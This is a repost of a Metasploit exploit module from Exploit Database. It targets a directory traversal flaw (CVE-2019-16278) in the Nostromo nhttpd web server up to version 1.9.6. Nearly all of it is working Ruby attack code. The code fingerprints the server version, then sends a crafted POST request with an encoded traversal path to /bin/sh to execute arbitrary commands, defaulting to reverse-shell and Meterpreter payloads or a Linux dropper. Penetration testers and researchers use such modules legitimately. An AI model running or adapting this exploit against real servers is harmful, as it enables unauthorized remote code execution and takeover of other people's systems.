Nostromo – Directory Traversal Remote Command Execution (Metasploit)

• Exploit Database
• 13 阅读

• 作者： Metasploit
  日期： 2019-11-01
• 类别：

  • remote
  平台：

  • multiple
• 来源：https://www.exploit-db.com/exploits/47573/

• ##
  # This module requires Metasploit: https://metasploit.com/download
  # Current source: https://github.com/rapid7/metasploit-framework
  ##
  
  class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking
  
  include Msf::Exploit::CmdStager
  include Msf::Exploit::Remote::HttpClient
  
  def initialize(info = {})
  super(update_info(info,
  'Name' => 'Nostromo Directory Traversal Remote Command Execution',
  'Description'=> %q{
  This module exploits a remote command execution vulnerability in
  Nostromo <= 1.9.6. This issue is caused by a directory traversal
  in the function `http_verify` in nostromo nhttpd allowing an attacker
  to achieve remote code execution via a crafted HTTP request.
  },
  'Author' =>
  [
  'Quentin Kaiser <kaiserquentin[at]gmail.com>', # metasploit module
  'sp0re', # original public exploit
  ],
  'License'=> MSF_LICENSE,
  'References' =>
  [
  [ 'CVE', '2019-16278'],
  [ 'URL', 'https://www.sudokaikan.com/2019/10/cve-2019-16278-unauthenticated-remote.html'],
  ],
  'Platform'=> ['linux', 'unix'], # OpenBSD, FreeBSD, NetBSD, and Linux
  'Arch'=> [ARCH_CMD, ARCH_X86, ARCH_X64, ARCH_MIPSBE, ARCH_MIPSLE, ARCH_ARMLE, ARCH_AARCH64],
  'Targets'=>
  [
  ['Automatic (Unix In-Memory)',
  {
  'Platform' => 'unix',
  'Arch'=> ARCH_CMD,
  'Type'=> :unix_memory,
  'DefaultOptions'=> {'PAYLOAD' => 'cmd/unix/reverse_perl'}
  }
  ],
  ['Automatic (Linux Dropper)',
  {
  'Platform' => 'linux',
  'Arch'=> [ARCH_X86, ARCH_X64, ARCH_MIPSBE, ARCH_MIPSLE, ARCH_ARMLE, ARCH_AARCH64],
  'Type'=> :linux_dropper,
  'DefaultOptions'=> {'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'}
  }
  ]
  ],
  'DisclosureDate' => 'Oct 20 2019',
  'DefaultTarget' => 0,
  'Notes' => {
  'Stability' => [CRASH_SAFE],
  'Reliability' => [REPEATABLE_SESSION],
  'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
  }
  ))
  
  register_advanced_options([
  OptBool.new('ForceExploit', [false, 'Override check result', false])
  ])
  end
  
  def check
  res = send_request_cgi({
  'method' => 'GET',
  'uri'=> normalize_uri(target_uri.path),
  }
  )
  
  unless res
  vprint_error("Connection failed")
  return CheckCode::Unknown
  end
  
  if res.code == 200 and res.headers['Server'] =~ /nostromo [\d.]{5}/
  /nostromo (?<version>[\d.]{5})/ =~ res.headers['Server']
  if Gem::Version.new(version) <= Gem::Version.new('1.9.6')
  return CheckCode::Appears
  end
  end
  
  return CheckCode::Safe
  end
  
  def execute_command(cmd, opts = {})
  send_request_cgi({
  'method'=> 'POST',
  'uri' => normalize_uri(target_uri.path, '/.%0d./.%0d./.%0d./.%0d./bin/sh'),
  'headers' => {'Content-Length:' => '1'},
  'data'=> "echo\necho\n#{cmd} 2>&1"
  }
  )
  end
  
  def exploit
  # These CheckCodes are allowed to pass automatically
  checkcodes = [
  CheckCode::Appears,
  CheckCode::Vulnerable
  ]
  
  unless checkcodes.include?(check) || datastore['ForceExploit']
  fail_with(Failure::NotVulnerable, 'Set ForceExploit to override')
  end
  
  print_status("Configuring #{target.name} target")
  
  case target['Type']
  when :unix_memory
  print_status("Sending #{datastore['PAYLOAD']} command payload")
  vprint_status("Generated command payload: #{payload.encoded}")
  
  res = execute_command(payload.encoded)
  
  if res && datastore['PAYLOAD'] == 'cmd/unix/generic'
  print_warning('Dumping command output in full response body')
  
  if res.body.empty?
  print_error('Empty response body, no command output')
  return
  end
  
  print_line(res.body)
  end
  when :linux_dropper
  print_status("Sending #{datastore['PAYLOAD']} command stager")
  execute_cmdstager
  end
  end
  end